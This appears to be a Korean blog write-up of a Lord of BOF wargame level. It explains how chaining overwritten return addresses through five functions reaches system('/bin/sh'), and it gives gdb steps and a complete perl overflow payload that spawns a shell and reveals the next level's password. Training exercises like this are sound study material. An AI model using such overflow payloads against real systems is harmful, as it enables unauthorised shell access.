1. 취약점
메인 함수와 5개의 서브함수가 있다. (도, 개, 걸, 윷, 모.. 첨엔 뭔가 싶었다.)
메인 함수에는 Return Address부터 + 100byte 구간을 제외하고 전부 다 0으로 초기화 시켜버린다.
그리고 문제 중간에 공유 라이브러리를 더 이상 사용할 수 없게 막아둔 구역도 있다.
도->개->걸->윷->모 순서 대로 진행 할 수 있으며 모는 system 함수와 매개 변수를 입력 할 수 있다.
1. main의 return address를 DO()의 주소로 한다. 그러면 main()이 종료한 후에 DO()가 수행한다.
2. 똑같이 개->걸->윷->모 순으로 return address를 사용한다.
3. MO는 매개변수를 이용할 수 있다. call은 내부적으로 push eip + jip eip 동작을 수행하므로 스택의 크기가 4만큼 늘어난다 따라서 중간에 Dummy 4바이트를 넣어주고 "/bin/sh"의 주소를 그다음에 넣어준다.
따라서 우리는 도, 개, 걸, 윷, 모의 주소를 알아야 한다.
$ bash2
$ gcc -g -o succubu1 succubus.c
$ gdb -q succubu1
(gdb) print DO
(gdb) print GYE
(gdb) print GUL
(gdb) print YUT
(gdb) print MO
DO()의 주소 : 0x080487ec
GYE()의 주소 : 0x080487bc
GUL()의 주소 : 0x0804878c
YUT()의 주소 : 0x0804875c
MO()의 주소 : 0x08048724
이제 버퍼의 크기를 알아보자. 소스 코드에 printf("%p\n", buffer)를 추가한다.
$ cp ./succubus.c ./succubsu.c
$ vi ./succubsu.c
$ gcc -o succubsu succubsu.c
$ ./succubsu `perl -e 'print "A"x44, "\xec\x87\x04\x08","\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08","A"x4 ,"\xc8\xfa\xff\xbf", "/bin/sh"'`
빨간 네모가 buffer의 주소다 우리는 Dummy 44byte + 도,개,걸,윷,모(4*5byte) + dummy 4byte + &ptr (4byte) = 총 72바이트 뒤에 "/bin/sh"가 위치한다 따라서 0xbffffac8가 "/bin/sh"의 주소이다.
2. Exploit
1. 바로 괴롭힌다.(응??!)
$ ./succubus `perl -e 'print "A"x44, "\xec\x87\x04\x08","\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08","A"x4 ,"\xc8\xfa\xff\xbf", "/bin/sh"'`
2. 결과
id : succubus passwd : here to stay
'Computer Science > BOF 원정대' 카테고리의 다른 글
[버퍼 오버플로우] Bof 원정대 (succubus -> nightmare ) (0) | 2016.10.09 |
---|---|
[버퍼 오버플로우] Bof 원정대 (assassin -> zombie_assassin ) (0) | 2016.10.09 |
[버퍼 오버플로우] Bof 원정대 (giant -> assassin ) (0) | 2016.10.08 |
[버퍼 오버플로우] Bof 원정대 (bugbear -> giant ) (0) | 2016.10.08 |
[버퍼 오버플로우] Bof 원정대 (darkknight -> bugbear) (0) | 2016.10.08 |